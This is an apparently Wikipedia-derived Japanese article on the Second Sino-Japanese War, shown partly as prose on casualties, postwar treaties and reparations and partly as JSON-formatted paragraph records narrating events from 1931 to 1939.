上記の表で中国側の犠牲者が132万とあるが、この数字は中国国民革命軍のみの数である。当時の中国大陸では、日本軍・南京中華民国政府軍・蔣介石国民革命軍・共産党軍(現:中国人民解放軍の前身)・その他馬賊や抗日武装勢力など複数の勢力が、割拠する地域で、日中戦争(支那事変)中には主に2つの勢力に分かれて戦争を行っていた。また国共内戦は国共合作以降も断続しており、第二次世界大戦後には再開している。中国の民衆は戦争に翻弄され、農業や商業、工業、運輸などの生活基盤を破壊されると共に各勢力の戦闘やゲリラ戦に巻き込まれ命を落としたり、戦闘継続の中、日本軍のみならず自国民たる各勢力に食糧を徴発されたことや焦土作戦の影響で飢餓に陥る人も大勢いた。また日本人をはじめ在留外国人も戦闘に巻き込まれた。(中国空軍の上海爆撃 (1937年)を参照)。 以下、各犠牲者数について注釈する。
太平洋戦争(大東亜戦争)および日中戦争(支那事変)の終結前後に、蔣介石率いる中国国民革命軍と毛沢東率いる中国共産党軍の間で国共内戦の再開が中国国内で懸念されると同時に1945年9月からは上党戦役など内戦がはじまった。アメリカも中国内戦を阻止するために介入し、重慶会談をはじめ様々な交渉が持たれるが、1946年6月に、蔣介石率いる国民革命軍が全面侵攻命令を発した。1949年から1950年にかけて、中国共産党軍が国民党軍を破り、蔣介石らは台湾へ逃れ、中華人民共和国が成立した。
国民党の蔣介石は「徳を以て怨みに報いる」として、終戦直後の日本人居留民らに対して報復的な態度を禁じたうえで送還政策をとった。 日本降伏と日本軍武装解除後に開始された国共内戦時には、中国大陸に残留して八路軍への入隊を希望する日本軍人も少なくなかった。当時の八路軍はその軍紀(三大紀律八項注意)遵守が評判になっており、また日本人捕虜を厚遇して寛大に扱っていたという伝聞もあったので、八路軍に好意的な感情を持つ日本軍将兵も少なからずいた。支那派遣軍勤務だった昭和天皇の弟三笠宮崇仁親王も八路軍の軍紀に魅了されていた。これはソ連の赤軍との大きな違いであった。特殊技能を持つ日本軍将兵(航空機・戦車等の機動兵器、医療関係)の中には長期の残留を求められて帰国が遅れた者もいた(気象台勤務であった作家の新田次郎など)。また、聶栄臻のように戦災で親を亡くした日本人の姉妹に自ら直筆の手紙を持たせて日本へと送るよう配慮した人物もいた。
終戦後、日本はポツダム宣言により連合軍に占領される事となった。それに関し当初は日本と交戦した主要な連合国であるアメリカ・イギリス・中国・ソ連によって分割統治されるとされていた。その中で四国は日中戦争(支那事変)で戦った国民革命軍の統治領域とされ、三重県を除く近畿地方と福井県は中国とアメリカの共同統治、そして東京都区部は上記4か国の共同統治とする計画であった。しかし後に中国国内で政権を持っていた国民党とゲリラ戦を展開していた共産党の間で国共内戦が勃発した事で中国軍は日本占領どころではなくなり計画は破綻。日本は事実上アメリカ軍による単独占領となり、中国やソ連、フランス、オランダなどその他の連合国は日本に駐在武官を派遣するにとどまった。なお、当初の日本分割占領計画が決定され、中国が四国を統治することが決まった時には多くの中国兵たちがこれを喜び、日本に上陸したときにどうするかを話し合ったという。
朝鮮戦争中の1951年9月8日にサンフランシスコで調印された日本国との平和条約(サンフランシスコ平和条約)で連合国は全ての賠償請求権を放棄するとされた。しかし、国共内戦の敗北によって蔣介石ら中華民国国民党は1949年12月に台湾に移転し、同時に中国共産党が中華人民共和国の建国を宣言しており、二国に分かれていた両国は、アメリカが中華民国を、イギリスが中華人民共和国を別々に承認することもあって、不参加となった。また日本は平和条約にしたがって連合国に以下賠償した。
1945年8月5日の外務省調査では日本の在中華圏資産は、中華民国921億5500万円、満洲1465億3200万円、台湾425億4200万円で合計2812億2900万円で、これは現在の価値で56兆2458億円となる(企業物価指数戦前基準)。
このように連合国国内のみならず、中国、台湾、朝鮮にあった一般国民の在外資産まで接収され、さらに中立国にあった日本国民の財産までもが賠償の原資とされた「過酷な負担の見返り」として、請求権が放棄された。
サンフランシスコ平和条約締結の翌年、1952年4月28日には台北で日華平和条約が調印され、中華民国は日本への賠償請求を放棄した。交換公文では「中華民国政府の支配下に現にあり、又は今後入るすべての領域」が適用範囲とされた。
1971年10月25日、国連でアルバニア決議が採択され、中華民国が中国の代表権を喪失するとともに常任理事国の地位をはく奪され、中華人民共和国が中国の代表権を得た。1972年2月にニクソン大統領の中国訪問が実現し米中が接近するのと並行して日中国交正常化も進展し、1972年9月には日中共同声明が周恩来国務院総理と田中角栄内閣総理大臣によって調印された。声明第五項では「中華人民共和国政府は、中日両国国民の友好のために、日本国に対する戦争賠償の請求を放棄することを宣言する(The Government of the People's Republic of China declares that in the interest of the friendship between the Chinese and the Japanese peoples, it renounces its demand for war reparation from Japan.)」として、中華人民共和国は対日戦争賠償請求を放棄すると宣言された。1978年8月12日には、日中共同声明を踏まえて、日中平和友好条約が締結され、第1条では「主権及び領土保全の相互尊重、相互不可侵、内政に対する相互不干渉」が、第2条ではアジア・太平洋地域他の地域で覇権を求めないと規定された。なお1979年には米中が国交正常化した。
日本は中華人民共和国に対し政府開発援助(ODA)を実施し、1979年から2013年度までに有償資金協力(円借款)約3兆3,164億円、無償資金協力を1,572億円、技術協力を1,817億円、総額約3兆6,553億円のODAを実施した。廃止の方向にあるODAに変わって、財務省影響下のアジア開発銀行が肩代わりして迂回融資を行い、1年あたりの援助金額は円借款の2倍であり、アジア開発銀行から中国への援助総額は日本円で2兆8000億円に上っており、「日本の対中国ODAは3兆円ではなく6兆円。3兆円は日本政府から中国政府に直接援助した金額。アジア開発銀行等の迂回融資分をあわせると6兆円」という主張がある。
日本政府はこれら三つの条約および声明(サンフランシスコ平和条約第14条b、日華平和条約第11条、日中共同声明第5項)によって、日中間における請求権は、個人の請求権の問題も含めて消滅したと認識している。江沢民も1992年4月1日、日本の侵略戦争については真実を求めて厳粛に対処するが、日中共同声明の立場は変わらないと発言している。
また華人労務者への個人賠償が争われた西松建設会社事件での最高裁判決(2007年4月27日)では、サンフランシスコ平和条約は、個人の請求権を含めて、戦争中に生じたすべての請求権を放棄した。また日中共同声明も同様であるとされた。また、重慶爆撃訴訟の東京地裁判決(2015年2月25日)では、国際法の法主体は国家であって個人ではない。また国家でさえ、戦争被害については、国家責任を規定する国際法だけでは賠償を受けることができず、賠償に関する国家間の外交交渉によって合意される必要があるとし、個人の戦争被害については国家間での処理が原則とした。またハーグ陸戦条約第3条も国家間の賠償責任を規定するもので、個人に賠償請求権を付与するものではない、と判決した。
当時関東軍参謀だった瀬島龍三は、「満洲を建国したことで朝鮮半島が安定したが、満洲国が建国したばかりで不安定だったことから満洲の安定を図るために満洲と中国の国境ラインに軍隊を移駐したところで中国勢力と衝突した」と戦後の談話で述べた。
南京戦陥落直後の1937年12月19日に読売新聞は「日本は初めこの事変をこうまで拡大する意志はなかった。支那に引張られてやむを得ず、上海から南京まで行かざるを得なかった」として、事変の序幕は西安事件で蔣介石が共産党と妥協させられてからで、それ以降は「共産党戦術」が著しく、「支那と日本と大戦争をやらすのが共産党の利益であると打算しているようであった」と報道した。
また同月に報知新聞も西安事件以来南京政府は大きく変化し、「政治的には国共合作後の共産党的圧力、経済的には在支権益を確保せんとするイギリス資本の掩護、思想的にはソヴィエト流の抗日救国の情熱、それ等が決河の勢いをなして北支に逆流し、ついには上海における計画的挑戦の暴露となり、戦局の急速なる拡大となってしまった 」とし、「今度の事変が決して支那と日本との問題でなく実に支那を舞台とするイギリスとソヴィエトの動きを除いては事変そのものすら考え得られないということも次第に明かとなり、東洋における防共と反英運動とが新らしい政治的課題として登場して来た」と回顧した。また、イギリスは表面は不干渉を表明したが、南京政府への支援を続け、さらに米国を巻き込むことに成功したと報じた。
田母神俊雄(当時航空幕僚長)は、日本は国際法上合法的に中国大陸に権益を得て比較的穏健な内地化を進めようとしていたが、コミンテルンの工作によって蔣介石の国民党や中国共産党からの度重なるテロ行為に干渉され、またベノナファイルで明かになったように中国と同じくコミンテルンの工作を受けたアメリカに介入され、結果的に日中戦争(支那事変)に引きずり込まれることとなったと論じた。しかし、政府と防衛省幹部が内容に問題にあるとして田母神は浜田靖一防衛大臣から更迭された(田母神論文問題)。小堀桂一郎、中西輝政、西尾幹二などは田母神論文の内容を支持し、森本敏、小林節、纐纈厚、笠原十九司、水島朝穂らは論文を批判した。 | [
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"text": "日中戦争()は、1937年(昭和12年)7月7日から1945年(昭和20年)8月15日まで、大日本帝国と蔣介石率いる中華民国国民政府の間で行われた戦争である。支那事変(しなじへん)、日華事変(にっかじへん)、日支事変(にっしじへん)とも呼ばれる。",
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"text": "日本側では、紛争が勃発した当初は北支事変(ほくしじへん)と称し、戦線が拡大していくと、日華事変(にっかじへん)や日支事変(にっしじへん)と呼ぶようになった。",
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"text": "日本政府は、1937年(昭和12年)9月の第1次近衛内閣(近衛文麿首相)の閣議決定で支那事変を正式の呼称とした。",
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"text": "戦争でなく事変と称されたのは、盧溝橋事件後に本格的な戦闘が行われても、1941年(昭和16年)12月に第二次世界大戦(大東亜戦争/太平洋戦争)が日英米蘭との間で勃発するまで、両国は宣戦布告を行わなかったからである。その理由として、日中両国がアメリカの中立法の発動による経済制裁を回避したかったことが挙げられる。",
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"text": "日本側は事態の早期収拾も狙っており、また、戦争ともなれば天皇の許可(勅許)が必要になるからであった。一方中国側は、国内での近代兵器の量産体制が整わないままであることから、開戦により軍需物資の輸入に問題が生ずる懸念があったことに加え、軍閥や毛沢東率いる中国共産党との内戦(国共内戦)の行方も不透明であったことから、中国国民党の蒋介石は「安内攘外(あんないじょうがい)」政策をとり、国内の統一(中国共産党との決着)を優先すべき問題と捉えていた。",
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"text": "第二次世界大戦(大東亜戦争/太平洋戦争)が開戦すると、蔣介石の重慶政府が英米蘭とともに日本に宣戦布告し、事変が戦争にエスカレートしたことを受け、日本側の東條内閣は10日の閣議で「今次ノ対米英戦争及今後情勢ノ推移ニ伴ヒ生起スルコトアルヘキ戦争ハ支那事変ヲモ含メ大東亜戦争ト呼称ス」ことを決定した。",
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"text": "日中戦争(支那事変)の期間の一般的な見解は1937年(昭和12年) - 1945年(昭和20年)までであるが、日本では歴史認識の違いによって「先の大戦」の呼称(大東亜戦争、十五年戦争、アジア・太平洋戦争など)が分かれており、日中戦争(支那事変)の位置づけには様々な解釈がある。臼井勝美は、「前史: 塘沽協定から盧溝橋事件まで、1933年6月 - 1937年7月」、「第一期: 盧溝橋事件から太平洋戦争勃発まで、1937年7月 - 1941年12月)」、「第二期: 太平洋戦争から敗北まで、1941年12月 - 1945年8月」の三期に区分している。小林英夫は、「前史 満洲事変から盧溝橋事件勃発前まで」、「第一期 盧溝橋事件から武漢作戦まで」、「第二期 武漢作戦から太平洋戦争勃発まで」、「第三期 太平洋戦争勃発から終戦まで」の四期に区分している。",
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"text": "中華人民共和国政府・中国共産党の公式な見解は、1935年の抗日人民宣言から始まり、1937年の盧溝橋事件(七七事変)からとされていたが、2017年1月中国教育省は中国の教科書で使われている「日本の侵略に対する中国人民の8年間の抗戦」という表現を、日中戦争(支那事変)の始まりを1931年の「柳条湖事件」まで6年遡らせて「14年間の抗戦」に改めると発表した。",
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"text": "1931年(昭和6年)9月18日の柳条湖事件に端を発する満洲事変は、1932年(昭和7年)3月1日の満洲国の樹立を経て、熱河作戦終結時の1933年(昭和8年)5月31日に締結された塘沽協定により一応終結した。同協定で、長城線以南に非武装地帯が設定され、大日本帝国は北支五省の独立自治運動の拠点を獲得し、満洲国は中華民国により黙認された。国民党は、汪兆銘の両国の関係改善の希望もあり、先ず共産党に対する囲剿戦に全力を傾け、国内を統一してから日本と戦う「安内攘外」を基本方針に採用した。広田弘毅外相は「和協外交」を提唱し、排日・排日貨運動も沈静化し、両国は公使館を大使館に昇格させた。",
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"text": "支那駐屯軍や関東軍など日本現地軍は、1935年(昭和10年)5月2日深夜の天津日本租界事件を契機に、河北省と察哈爾省から国民党の排除を図り、6月、所謂梅津・何応欽協定を締結し、藍衣社の北支からの撤退、河北省主席于学忠の罷免などを実現させた。国民政府は、「邦交敦睦令」を発し排日行為を禁止した。その後、現地日本軍は、二十九軍が日本人を拘禁した張北事件(中国語版)などを理由に、土肥原・秦徳純協定を締結し、察哈爾省東北部の二十九軍を河北省に移駐させることを了承させた。そして、旧軍閥で二十九軍長宋哲元 を中心に北支五省に独立政権を樹立させ、国民政府から分離させるため「北支自治運動」を展開した。11月25日、非武装地帯に殷汝耕を委員長とする冀東防共自治委員会を設立させ、宋哲元を中心にして「北支自治政権」を設立させて殷汝耕を合流させる計画を立てた。しかし、国民政府は、宋哲元を冀察綏靖主任兼河北省主席に任命し、12月18日に冀察政務委員会を設置し、自治独立運動の阻止に一応成功した。このため、12月25日、日本現地軍は、冀東の冀察への合流を放棄して冀東防共自治政府を成立させた。",
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"text": "1935年12月、中華民国では自治政権反対の一二・九運動を契機に「内戦停止、一致抗戦」の機運が拡大した。長征の途上にあった共産軍は、八・一宣言を出して「抗日救国」、「反蔣抗日」の統一戦線を呼び掛け、陝西省延安に根拠地建設を開始し、1936年(昭和11年)2月から3月、「抗日実践」を示すため、彭徳懐と林彪が指揮する共産軍2万が山西省に侵入した。共産軍は閻錫山の軍と蔣介石の増援により敗退し、周恩来と会談した張学良の説得により「反蔣抗日」から「逼蔣抗日」への転換を受け入れ、五・五通電を発し「停戰議和一致抗日」を訴えた。一方、4月18日、共産軍の侵攻を契機に廣田内閣(広田弘毅首相)は支那駐屯軍を増強した。",
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"text": "1936年(昭和11年)8月23日の成都事件と9月3日の北海事件を受け、大日本帝国外務省は、国民政府の対日態度の是正を要求し、9月8日から川越・張群会談が開始された。大日本帝国が防共協定の締結、日本人顧問の招聘などを要求し、国民政府が冀東防共自治政府の解消を要求したため、交渉は平行線を辿った。その後、9月19日に漢口、9月23日に上海で日本人が殺害され、11月上旬に内蒙古軍による綏遠事件も勃発し、12月3日に交渉は決裂した。12月12日の張学良らによる蔣介石監禁事件西安事件を経て、1937年(昭和12年)初頭には国共合作が事実上成立した。",
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"text": "1937年(昭和12年)2月2日、大日本帝国で廣田内閣から林内閣(林銑十郎首相)へ交替すると、佐藤尚武外相は、対中優越観念の放棄や中華民国への軍事的威嚇方針をやめ、平和交渉に移るよう外交方針を変更し、陸軍参謀本部戦争指導課長石原莞爾は、「華北分離工作」など従来の帝国主義的な侵寇政策の放棄を唱えた。4月16日に外務、大蔵、陸軍、海軍大臣四相により決定された対支実行策(第三次北支処理要綱)では、北支分治や中国内政を乱す政治工作は行わないとされ、日中防共軍事同盟の項目も削除された。一方で、関東軍は、対中高圧政策、「対支一撃論」を変更しなかった。5月3日、中華民国は、イギリスに財政基盤強化のための借款供与を要請し、イギリスは、大日本帝国にも参加を要請した。1937年(昭和12年)5月31日、林内閣は総辞職し、6月に近衛文麿内閣(第1次)が成立した。7月5日、川越茂駐中国大使は政府にイギリスからの借款供与提案を受諾するよう上申し、電報は盧溝橋事件前日の7月6日に届いた。",
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"text": "1937年(昭和12年)7月7日の盧溝橋事件から8月の第二次上海事変による全面戦争化までの猶予期間に起きた軍事衝突は北支事変と呼ばれた。",
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"text": "1937年(昭和12年)7月7日、当時北支に駐屯していた日本軍の北平(現:北京市)での夜間演習中に実弾が二度発射された。翌日午前5時30分、攻撃命令を受け、中国軍陣地に対し攻撃前進して行った。その後、中国国民党軍が衝突し、盧溝橋事件が勃発した。この日本軍が駐留していた豊台は、義和団の乱の事後処理を定めた北京議定書に定められた駐留可能地ではなく、法的根拠のない駐留だった。当時この地区の居留民保護のため駐留していた外国部隊は日本兵4,080、フランス兵1,839、米兵1,227、英兵999、イタリア兵384であり、日本人居留民は17,000人、米欧居留民は計10338人であった。 7月8日、蔣介石は日記に「倭寇の挑発に対して応戦すべき」と書き、7月9日に動員令を出し、四個師団と戦闘機を華北へ派遣した。7月19日までに北支周辺に30個師団、総兵力20万人を配備した。 7月11日、日中の現地軍同士で停戦協定が締結され(松井-秦徳純協定)、中華民国側は遺憾の意思を表明し、責任者を処分すること、盧溝橋付近には中国軍にかわって保安隊が駐留すること、事件は藍衣社、中国共産党など抗日団体が指導したとみられるため今後取り締る、という内容の停戦協定が締結された。事態収拾に向う動きが見えたことから内地師団の動員は一時見合わせとなった。",
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"text": "一方、同年7月11日午前の会議で第1次近衛内閣は関東軍独立混成第11旅団・独立混成第1旅団の二個旅団・朝鮮軍第20師団の北支派兵を発令、支那駐屯軍に編入される。近畿以西の全陸軍部隊の除隊延期も決定する。同日、重篤となった田代皖一郎支那駐屯軍司令官に代え、香月清司中将を新司令官に親補。また近衛内閣は現地解決、不拡大方針を閣議決定、さらに「北支派兵に関する政府声明」を発表し、事件を「北支事変」と名付け、今回の事件は中国側の計画的武力行使であり、大日本帝国はこれに対して自衛権を行使するために派兵(増員)するとした。7月13日に北平(北京)の大紅門で日本軍トラックが中国兵に爆破され日本兵4人が死亡する大紅門事件が発生。",
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"text": "中国共産党は7月15日に国共合作による全面抗戦を呼びかける。蔣介石も7月17日、廬山談話会において、中華民国は弱国であり戦争を求めてはならないが、やむをえない場合は徹底抗戦すると表明する。中華民国政府は7月19日、国民党の第29軍代表張自忠らが盧溝橋事件の停戦協定の細目実施を申し出、共産党の策動を徹底的に弾圧すること、排日職員を取り締ること、排日団体は撤去すること、排日運動、排日教育を取り締ることを日本に誓約する 一方で、盧溝橋事件に関する地域レベルでの決着は認めないと日本側に通告した。7月20日には中国軍第37師部隊は再び盧溝橋付近で日本軍に攻撃した。7月21日、蔣介石は南京戦争会議で「大日本帝国に対して武力行使を行う」という方針を採択した。7月23日、南京副幕僚長孫浜将軍が北京と保定の軍に対日戦闘を勧告した。",
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"text": "他方、7月22日から「中国当局は抗日雑誌等を禁止、藍衣社などを弾圧した」と日本政府に報告された。",
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"text": "中国軍は北平・天津の電線切断作戦を展開した。 1937年7月25日、郎坊駅で電線を修理した日本軍兵士が休憩しているところに中国軍が襲撃した(郎坊事件)。日本軍は修理した電線で天津の本部と連絡をとり、翌7月26日、日本軍戦闘機が中国人陣地を爆撃し、同地を日本軍が占領。日本帝国軍は宋哲元将軍に、「北平城から中国29路軍37師を撤退させることで誠意を見せてほしい。もし要請に応じなければ、日本帝国軍は大日本帝国にとって適切な行動をとる」と最後通告を行ったが、中国側は応じなかった。",
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"text": "翌7月26日に広安門居留民保護に駆けつけた日本陸軍兵士が広安門で中国軍より銃撃を受ける(広安門事件)。",
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"text": "7月27日、日本軍(支那駐屯軍)は総攻撃の実施を決定した。第1次近衛内閣は内地師団動員を下令。第5師団・第6師団・第10師団の動員派兵を決定。同日午後11時、南京政府は日本側へ、北支当局と日本軍守備隊の協定に関する交渉を日本へ申し出た。総攻撃を前にして住民を逃すため香月軍司令官の要請を受けてJ.O.スタヂオの技術者として支渡していた菱刈隆文が北平上空から20万枚の布告ビラを撒いた。",
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"text": "7月28日午前5時、日本軍支那駐屯軍、北支で攻撃を開始。中国軍は5000余人が戦死、撃滅され、同日夜、北平にいた宋哲元、秦徳純などは脱出した。",
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"text": "7月29日には、日本の同盟軍であった冀東防共自治政府保安隊(中国人部隊)が、抗日側に転じて、日本軍特務機関・日本人・朝鮮人居留民に対して虐殺を実施した通州事件が発生。同日同時刻に29路軍が天津の日本人租界を攻撃した。この通州事件は日本軍民に暴支膺懲の意識を強く植え付けることとなる。",
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"text": "7月31日、日本軍(支那駐屯軍)、北平・天津地区を制圧。 日本軍は7月末には北平・天津地方を制圧後、8月には河北省保定以北の制圧を実行に移そうとしたが、河北省南部に集結しつつある中国軍と衝突する恐れがあったため準備期間が必要となり一時延期され、代わりに行われた作戦が8月9日より関東軍が察哈爾省(現在の内モンゴル自治区)とその周辺へ攻略を開始した(チャハル作戦。後に10月17日に包頭を占領し、日本の傀儡政権蒙古連盟自治政府を樹立し、張家口に駐蒙軍を置いた。",
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"text": "1937年8月9日、上海の非武装地帯で日本軍上海海軍特別陸戦隊の大山勇夫海軍中尉が、報復として中国保安隊に襲撃され殺害された。30発以上の銃撃を受け、顔を潰され、胴体に穴があくなどしていた (大山事件)。中国側は当時非武装地帯には保安隊の制服を着た中国正規軍を投入しており、また1932年の休戦協定を無視してライフル、機関銃、カノン砲などを秘密裏に持ち込んでいた。翌8月10日、日本の上海領事は国際委員会で中国の平和維持隊の撤退を要求し、外国人委員はこれに賛成し、O.K.ユイ(兪鴻鈞)中国市長も全力をあげて解決すると述べたが、翌8月11日、O.K.ユイ中国市長は「私は無力で何もできない」と日本側へ通告した。 8月12日、中国軍部隊が上海まで前進して上海日本人租界区域を包囲し、、翌8月13日早朝には日本海軍陸戦隊へ攻撃をしかけた。午前9時20分、現地で包囲していた中国軍が機銃掃射攻撃を開始すると、日本軍陸戦隊は午後3時55分に応戦。中国軍はさらに午後5時頃爆破砲撃を開始した。",
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"paragraph_id": 25,
"tag": "p",
"text": "8月13日、第1次近衛内閣は閣議決定により上海への陸軍派遣を決定。また同8月13日にはイギリス、フランス、アメリカの総領事が日中両政府に日中両軍の撤退と多国籍軍による治安維持を伝えたが戦闘はすでに開始していた。",
"title": "「日中全面戦争」"
},
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"paragraph_id": 26,
"tag": "p",
"text": "翌8月14日には中国空軍は日本の艦艇と上海租界への空爆を行った。日本軍艦の命中はなかったが、上海租界で外国人を含む千数百人の民間人死傷者が出た。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 27,
"tag": "p",
"text": "このような第二次上海事変の勃発により日中全面戦争に発展した。日本政府および軍部は上海への戦火波及はのぞんでいなかったとする見解もある。近衛内閣は8月15日、「もはや隠忍その限度に達し、支那軍の暴虐を膺懲し、南京政府の反省を促す」との声明を発表し、戦争目的は排日抗日運動の根絶と日本満洲支那三国の融和にあるとされ、上海派遣軍が編成された。一方、同8月15日に中華民国も全国総動員令を発し、大本営を設置して陸海空軍総司令に蔣介石が就任、戦時体制を確立し、さらに中国共産党も同8月15日に『抗日救国十大綱領』を発表し、中国全土での日中全面戦争となった。",
"title": "「日中全面戦争」"
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"tag": "p",
"text": "その後、8月下旬、蔣介石は自軍が日本軍の前に敗走を重ねる原因を「日本軍に通じる漢奸」の存在によるものとして陳立夫を責任者として取締りの強化を指示し、「ソビエト連邦のゲーペーウー(GPU)による殺戮政治の如き」漢奸狩りを開始した。上海南市老西門広場では、毎日数十人が漢奸として処刑され、総数は4,000名に達し、中には政府官吏も300名以上含まれていた。罪状は井戸、茶壺や食糧に毒を混入するように買収されたということや毒を所持で、警察官によって裏切り者に対する警告のために処刑された者の首が晒しものとされた。戒厳令下であるため裁判は必要とされず、宣告を受けたものは直ちに公開処刑された。",
"title": "「日中全面戦争」"
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"tag": "p",
"text": "同8月15日、日本海軍は渡洋爆撃を開始。15日より16日にかけて、海軍航空隊の96式陸攻38機が、南昌・南京・広徳・杭州を台南の新竹基地と長崎大村基地からの渡洋爆撃を行った。15日より30日にかけて、同軍のべ147機が済州島・台北から出撃。広徳・南昌・南京などを空襲。未帰還機14機、大破13機。",
"title": "「日中全面戦争」"
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"tag": "p",
"text": "8月17日、日本政府は従来の不拡大方針を放棄し、戦時体制の準備を講ずると閣議決定した。",
"title": "「日中全面戦争」"
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"tag": "p",
"text": "8月18日、イギリスは日中双方に対して双方の軍の撤退と、租界の日本人保護は外国当局に委任してくれれば責任をもって遂行すると通告、フランスもこれを支持した。しかし日本政府はすでに戦闘が開始しているためこれを丁重に辞退した。",
"title": "「日中全面戦争」"
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{
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"tag": "p",
"text": "8月20日日本海軍、漢口爆撃。 8月21日、中ソ不可侵条約が締結され、5年間はソ連は日本と不可侵条約を締結せず、また中国は第三国と防共協定を締結しないという約束がなされ、まずは戦闘機50機の空輸が上申された。8月22日には西北地域の共産党軍(紅軍)を国民革命軍第8路軍に改編、総兵力は32000。",
"title": "「日中全面戦争」"
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"tag": "p",
"text": "8月23日、日本陸軍が上海上陸開始。しかし中国軍の抵抗が激しく、一日100mほどしか前進できなかった。",
"title": "「日中全面戦争」"
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{
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"tag": "p",
"text": "南京駐在英国大使ヒュー・ナッチブル=ヒューゲッセン(英語版)が銃撃を受けて重症を負い、同行の大使館職員が日本海軍機の機銃掃射によるものであると主張したが、日本海軍が自軍による機銃掃射を否定したため、イギリスの対日感情が悪化し、約一か月後に解決した。",
"title": "「日中全面戦争」"
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"text": "ニューヨーク・タイムズの1937年8月30日付記事では「北京での戦闘の責任については見解がわかれるかもしれないが、上海での戦闘に関する限り事実はひとつしかない。日本軍は戦闘拡大を望まず、事態悪化を防ぐためにできる限り全てのことをした。中国軍によって衝突へと無理矢理追い込まれてしまった」と報道した。",
"title": "「日中全面戦争」"
},
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"tag": "p",
"text": "1937年8月31日に日本陸軍支那駐屯軍は廃止され、北支那方面軍・第1軍・第2軍へと編成される。",
"title": "「日中全面戦争」"
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"tag": "p",
"text": "1937年9月28日 - 国際連盟の日中紛争諮問委員会、総会で日本軍による中国の都市への空爆に対する非難決議を満場一致で採択。8月15日から9月25日までの合計11次に及ぶ日本軍による「無差別攻撃」は同年4月26日のゲルニカ爆撃と並んで、世界航空戦史未曾有の大空襲だとされた。",
"title": "「日中全面戦争」"
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"paragraph_id": 38,
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"text": "他方、1937年10月、ローマ法王ピオ11世(在位:1922-39)は全世界のカトリック教徒に対して日本軍への協力を呼びかけ、「日本の行動は、侵略ではない。日本は中国(支那)を守ろうとしているのである。日本は共産主義を排除するために戦っている。共産主義が存在する限り、全世界のカトリック教会、信徒は、遠慮なく日本軍に協力せよ」と声明を出した(バチカン・シチー特電 昭和12年10月14日 発。『東京朝日新聞』夕刊、昭和12年10月16日)。。東京朝日新聞は「これこそは、わが国の対支那政策の根本を諒解するものであり、知己の言葉として、百万の援兵にも比すべきである。英米諸国における認識不足の反日論を相殺して、なお余りあるというべきである」と評価した",
"title": "「日中全面戦争」"
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{
"paragraph_id": 39,
"tag": "p",
"text": "上海攻略後、日本は和平工作を開始し(トラウトマン工作)、1937年11月2日にヘルベルト・フォン・ディルクセン駐日ドイツ大使に内蒙古自治政府の樹立、華北に非武装中立地帯(冀東防共自治政府があった場所)、上海に非武装中立地帯を設置し、国際警察による共同管理、共同防共などを提示し、「直ちに和平が成立する場合は華北の全行政権は南京政府に委ねる」が記載されている和平条件は11月5日にオスカー・トラウトマン駐華ドイツ大使に示され、「戦争が継続すれば条件は加重される」と警告したにも関わらず蔣介石はこれを受理しなかった。蔣介石が受理しなかったのは11月3日から開かれていたブリュッセルでの九カ国条約会議で中国に有利な調停を期待していたためとされるが、九カ国条約会議は日本非難声明にとどまった。その後、トラウトマン大使は蔣介石へ「日本の条件は必ずしも過酷のものではない」と説得し、12月2日の軍事会議では「ただこれだけの条件であれば戦争する理由がない」という意見が多かったこともあり、蔣介石は日本案を受け入れる用意があるとトラウトマン大使に語り、これは12月7日に日本へ伝えられた。その後、日本は南京攻略の戦況を背景に要求を増やし、賠償や永久駐留や傀儡化を含む厳しい条件にした。結果、日中和平交渉は決裂した。",
"title": "「日中全面戦争」"
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"paragraph_id": 40,
"tag": "p",
"text": "4月、中国広西軍は山東省台児荘で日本軍部隊5000兵力を包囲し、壊滅させ、中国の民衆は非常に喜んだ。日本軍は中国軍主力が徐州に集中していると判断し、1938年4月7日 - 大本営、北支那方面軍・中支那派遣軍に協力して徐州を攻略するよう(徐州会戦)下命した。5月10日、日本軍、廈門を占領。5月15日、中国軍は徐州を放棄し逃走したので中国軍兵力の殲滅には失敗することとなった。5月19日 - 日本軍(北支那方面軍・中支那派遣軍)、徐州占領。",
"title": "「日中全面戦争」"
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{
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"text": "1938年6月、蔣介石ら中国軍による黄河決壊事件により河南、江蘇省、安徽省の3000平方キロメートルの土地が水没し、民間人の被害は数十万人となった。日本は6月15日、御前会議で漢口・広東攻略を決定した。1938年7月4日、中支那派遣軍に第2軍、第11軍が編入され、武漢攻略作戦の態勢がとられた。7月11日〜8月10日の日ソ武力衝突張鼓峰事件が解決したのち、8月22日から日本軍、武漢三鎮を攻略開始する(武漢作戦)。10月12日、第2軍が信陽を占領。",
"title": "「日中全面戦争」"
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"paragraph_id": 42,
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"text": "広東攻略を命じられた第21軍(兵力7万)は1938年10月9日、台湾を出発、10月12日にバイアス湾上陸し、10月21日に広東を占領、日本軍の損失は戦死173、戦傷493だった。",
"title": "「日中全面戦争」"
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"paragraph_id": 43,
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"text": "12月6日決定の「昭和十三年秋季以降対支処理方策」では占拠地拡大を企図せず、占拠した地域を安定確保の「治安地域」と、抗日殲滅地域の「作戦地域」に区分した。12月16日、中国政策のための国策会社興亜院が成立する。",
"title": "「日中全面戦争」"
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"text": "12月18日には蔣介石との路線対立で汪兆銘が重慶を脱出し、昆明、ハノイに向かう。12月22日、近衛首相が近衛三原則を発表(第三次近衛声明)。日華協議記録と類似した内容であった。12月25日、汪兆銘は日本の講和条件は亡国的なものではないと駐英大使につたえる一方、蔣介石は12月26日に近衛声明を批判し、また汪兆銘のハノイ行きは療養目的と公表した。しかし、汪兆銘は12月30日の香港『南華日報』に、近衛声明にもとづき日本と和平交渉に入ると発表した。1939年1月1日、国民党は汪兆銘の党籍を永久に剥奪した。1939年3月21日に汪兆銘は暗殺されようとするが、曽仲鳴が代わりに殺害された。",
"title": "「日中全面戦争」"
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"text": "1939年(昭和14年)1月4日、近衛内閣、総辞職。平沼内閣となる。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 46,
"tag": "p",
"text": "1939年の作戦としては1月からの重慶爆撃、2月10日の海南島上陸、3月の海州など江蘇省の要所占領、3月27日の南昌攻略などがあったが、戦争は長期化の様相を呈し、泥沼化していった。阿部信行大将も講演で昨年1938年暮れより1939年夏まで「戦さらしい戦さはない」「ただ平らであるが如く、斜めであるが如く、坂道をずるずる引摺られ上って行かなければならぬ」と述べた。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 47,
"tag": "p",
"text": "5月3日 (中攻45機)と4日 (中攻27機)に海軍航空隊が焼夷弾爆撃を実施した。重慶防空司令部の調査によると両日で焼死者3991名、負傷者2323名、損壊建物846棟に達し、英大使館、仏領事館、外国教会にも被害が及んだ。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 48,
"tag": "p",
